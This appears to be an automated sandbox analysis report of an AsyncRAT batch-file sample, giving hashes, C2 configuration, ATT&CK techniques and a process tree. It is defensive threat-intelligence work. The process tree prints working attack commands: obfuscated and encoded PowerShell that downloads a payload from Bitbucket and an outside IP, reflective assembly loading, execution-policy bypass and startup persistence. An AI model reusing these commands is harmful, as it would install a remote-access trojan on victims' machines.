asyncrat | bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838

Analysis

max time kernel
147s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-12-2024 08:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7d4fd0768b8cba2af39bf88ba789e27a.bat
Size

14KB
MD5

7d4fd0768b8cba2af39bf88ba789e27a
SHA1

31315e8bc69d8ff9d3764071b0c9def830dabf58
SHA256

bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838
SHA512

101971fafe90fa9e703bb4d62208f984fe3162044bf30b2ed16f5cd9dc16d2e9a9770fccd37cfee3796b4f222035418dc0ab79df1a99faeb385889341972c754
SSDEEP

192:7xM/+aHdczpj/j3TG996TG1lyXuMFtOxHlsTdEKxnH9ONGUe7FQGIAAApkF32GAI:7xa9e/zw96TG1uWxFtqHtF0YnMF

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

103.125.189.155:8848

Mutex

DcRatMutex_adxzvxv

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 544 created 2652	544	R64.exe	44

Blocklisted process makes network request 4 IoCs

flow	pid	Process
13	4420	powershell.exe
16	4420	powershell.exe
18	4420	powershell.exe
20	4992	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3772	powershell.exe
4420	powershell.exe
4972	powershell.exe
4992	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7d4fd0768b8cba2af39bf88ba789e27a.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7d4fd0768b8cba2af39bf88ba789e27a.bat	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
544	R64.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
12	bitbucket.org
13	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4420 set thread context of 2856	4420	powershell.exe	88

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3960	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3192	WINWORD.EXE
3192	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3772	powershell.exe
3772	powershell.exe
4420	powershell.exe
4420	powershell.exe
4992	powershell.exe
4992	powershell.exe
4972	powershell.exe
4972	powershell.exe
2856	RegAsm.exe
544	R64.exe
544	R64.exe
544	R64.exe
544	R64.exe
2000	fontdrvhost.exe
2000	fontdrvhost.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3272	WMIC.exe
Token: SeSecurityPrivilege	3272	WMIC.exe
Token: SeTakeOwnershipPrivilege	3272	WMIC.exe
Token: SeLoadDriverPrivilege	3272	WMIC.exe
Token: SeSystemProfilePrivilege	3272	WMIC.exe
Token: SeSystemtimePrivilege	3272	WMIC.exe
Token: SeProfSingleProcessPrivilege	3272	WMIC.exe
Token: SeIncBasePriorityPrivilege	3272	WMIC.exe
Token: SeCreatePagefilePrivilege	3272	WMIC.exe
Token: SeBackupPrivilege	3272	WMIC.exe
Token: SeRestorePrivilege	3272	WMIC.exe
Token: SeShutdownPrivilege	3272	WMIC.exe
Token: SeDebugPrivilege	3272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3272	WMIC.exe
Token: SeRemoteShutdownPrivilege	3272	WMIC.exe
Token: SeUndockPrivilege	3272	WMIC.exe
Token: SeManageVolumePrivilege	3272	WMIC.exe
Token: 33	3272	WMIC.exe
Token: 34	3272	WMIC.exe
Token: 35	3272	WMIC.exe
Token: 36	3272	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3272	WMIC.exe
Token: SeSecurityPrivilege	3272	WMIC.exe
Token: SeTakeOwnershipPrivilege	3272	WMIC.exe
Token: SeLoadDriverPrivilege	3272	WMIC.exe
Token: SeSystemProfilePrivilege	3272	WMIC.exe
Token: SeSystemtimePrivilege	3272	WMIC.exe
Token: SeProfSingleProcessPrivilege	3272	WMIC.exe
Token: SeIncBasePriorityPrivilege	3272	WMIC.exe
Token: SeCreatePagefilePrivilege	3272	WMIC.exe
Token: SeBackupPrivilege	3272	WMIC.exe
Token: SeRestorePrivilege	3272	WMIC.exe
Token: SeShutdownPrivilege	3272	WMIC.exe
Token: SeDebugPrivilege	3272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3272	WMIC.exe
Token: SeRemoteShutdownPrivilege	3272	WMIC.exe
Token: SeUndockPrivilege	3272	WMIC.exe
Token: SeManageVolumePrivilege	3272	WMIC.exe
Token: 33	3272	WMIC.exe
Token: 34	3272	WMIC.exe
Token: 35	3272	WMIC.exe
Token: 36	3272	WMIC.exe
Token: SeDebugPrivilege	3772	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	2856	RegAsm.exe
Token: SeDebugPrivilege	4972	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 4004 wrote to memory of 3272	4004	cmd.exe	83
PID 4004 wrote to memory of 3272	4004	cmd.exe	83
PID 4004 wrote to memory of 916	4004	cmd.exe	84
PID 4004 wrote to memory of 916	4004	cmd.exe	84
PID 4004 wrote to memory of 3772	4004	cmd.exe	86
PID 4004 wrote to memory of 3772	4004	cmd.exe	86
PID 3772 wrote to memory of 4420	3772	powershell.exe	87
PID 3772 wrote to memory of 4420	3772	powershell.exe	87
PID 4420 wrote to memory of 2856	4420	powershell.exe	88
PID 4420 wrote to memory of 2856	4420	powershell.exe	88
PID 4420 wrote to memory of 2856	4420	powershell.exe	88
PID 4420 wrote to memory of 2856	4420	powershell.exe	88
PID 4420 wrote to memory of 2856	4420	powershell.exe	88
PID 4420 wrote to memory of 2856	4420	powershell.exe	88
PID 4420 wrote to memory of 2856	4420	powershell.exe	88
PID 4420 wrote to memory of 2856	4420	powershell.exe	88
PID 4004 wrote to memory of 4992	4004	cmd.exe	89
PID 4004 wrote to memory of 4992	4004	cmd.exe	89
PID 4992 wrote to memory of 3192	4992	powershell.exe	90
PID 4992 wrote to memory of 3192	4992	powershell.exe	90
PID 2856 wrote to memory of 2180	2856	RegAsm.exe	102
PID 2856 wrote to memory of 2180	2856	RegAsm.exe	102
PID 2856 wrote to memory of 2180	2856	RegAsm.exe	102
PID 2180 wrote to memory of 4972	2180	cmd.exe	104
PID 2180 wrote to memory of 4972	2180	cmd.exe	104
PID 2180 wrote to memory of 4972	2180	cmd.exe	104
PID 4972 wrote to memory of 544	4972	powershell.exe	105
PID 4972 wrote to memory of 544	4972	powershell.exe	105
PID 544 wrote to memory of 2000	544	R64.exe	106
PID 544 wrote to memory of 2000	544	R64.exe	106
PID 544 wrote to memory of 2000	544	R64.exe	106
PID 544 wrote to memory of 2000	544	R64.exe	106
PID 2856 wrote to memory of 3528	2856	RegAsm.exe	107
PID 2856 wrote to memory of 3528	2856	RegAsm.exe	107
PID 2856 wrote to memory of 3528	2856	RegAsm.exe	107
PID 3528 wrote to memory of 3960	3528	cmd.exe	109
PID 3528 wrote to memory of 3960	3528	cmd.exe	109
PID 3528 wrote to memory of 3960	3528	cmd.exe	109

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2652
- C:\Windows\System32\fontdrvhost.exe
  "C:\Windows\System32\fontdrvhost.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2000

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7d4fd0768b8cba2af39bf88ba789e27a.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4004
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3272
- C:\Windows\system32\find.exe
  find "QEMU"
  2⤵
  PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#Z#By#DM#N#B3#Gc#Z#Bz#GY#ZwBz#C8#ZgBz#GQ#ZgBz#GQ#cw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#d#Bl#HM#d#Bf#Gk#bQBn#C4#agBw#Gc#Pw#x#DQ#N##x#Dc#Jw#s#C##JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GQ#YQBy#Gs#bQBh#G4#YQBn#GU#cg#v#GQ#YQBy#Gs#bw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#d#Bl#HM#d#Bf#Gk#bQBn#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#Go#YQBm#GI#c#BT#Gs#Lw#y#DY#Lg#y#D##MQ#u#D##Mg#u#DM#M##x#C8#Lw#6#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hdr34wgdsfgs/fsdfsds/downloads/test_img.jpg?14417', 'https://bitbucket.org/darkmanager/darko/downloads/test_img.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.jafbpSk/26.201.02.301//:ptth', '0', 'StartupName', 'RegAsm', '0'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4420
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2856
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\R64.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2180
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\R64.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4972
        
        C:\Users\Admin\AppData\Local\Temp\R64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\R64.exe"
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:544
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7BB3.tmp.bat""
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3528
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  pOWeRshElL.eXE -EX bYPasS -nOp -W hiDdeN -eC IAAgAGkAUgBtACAACQAtAFUAUgBpACAAKAAdIGgAdAB0AHAAOgAvAC8AMQAwADMALgAyADAALgAxADAAMgAuADYAMgAvADQAMAA0AC4AZABvAB0gIAAJACAACQArACAACQAdIGMAeAAdICAACQApACAALQBvAFUAVABGAEkATABFACAACQAdICQARQBOAFYAOgBhAHAAUABkAGEAdABBAFwAZABvAG4AaABhAG4AZwAuAGQAbwBjAHgAHSAgAAkAOwAgAAkAaQBuAHYATwBrAEUALQBpAFQAZQBtACAAHSAkAEUATgB2ADoAYQBwAHAAZABBAHQAQQBcAGQAbwBuAGgAYQBuAGcALgBkAG8AYwB4AB0g
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4992
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\donhang.docx" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:3192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
049b6e9e5ae574090e37ec4f9cf48812

SHA1
8a84e30d1c55db18e6310ca185f14b8eeafa28fd

SHA256
3c8e60a138d954ca2ad15a5dab6ce592410983e0134b875a74c8041b3a575fd1

SHA512
fe854104d8b936c925a1a6b0b19ba3c5a0adebf9aa568cacc225dce64697bc3fd0a97e11cc065b5c48e27f195c22d8b4cc8221e16ac1ab7d8040d286540bb7b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\R64.exe

Filesize
448KB

MD5
197c4640b76c01f4defea64e2a66ab52

SHA1
676c538f2b1d5806092a20d4d676fcf8641b9cee

SHA256
30d009a015253c347c4d3a79ab0ba050c81347bb375bb77f0f9ea7819fc505bd

SHA512
bf4ebbe9fbcc77e4d666a97aafae07d9e31c7499f94f465706e9bf1e691b41ac57c2f4daac6338614596a35a00bf4fea763275d1eec3faeff87d40fa01b5d8d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD3650.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_500bzkhm.qd2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7BB3.tmp.bat

Filesize
170B

MD5
3449f8392a268b32340ce9a47e2fdfd9

SHA1
f8ff8a5b2d0acc2d86c322b13095fd566fa43396

SHA256
6cbb9137ddc7b464dab3805c844949a887a43b4b2bc0494fee33e85f67abf18e

SHA512
53578638dcf22efa38a1f379c10e36b0fbd4c33bf2905d3c816898ff8e1a4adf4367abcc706bb6413ea35a5c63f0575ab79ff4e50ccbdd842de5085e2691da48

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
380B

MD5
fa277ce5e9a10a2a444187ab8d6d12c8

SHA1
cb617eb05397323cf47b434cf27502df75d55da2

SHA256
f87fa84e0340351c53cb97de286fe5664bb64473fc53ffb31b113f9fcd91ada4

SHA512
f15d8778159cb5eb2d8c6c2f98175d905f37a65669b2005c8267911b4fda168f833df314c7f881ca0c699f9d69cc37c09602c0fdbd340056deb61d4d635d4f10

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
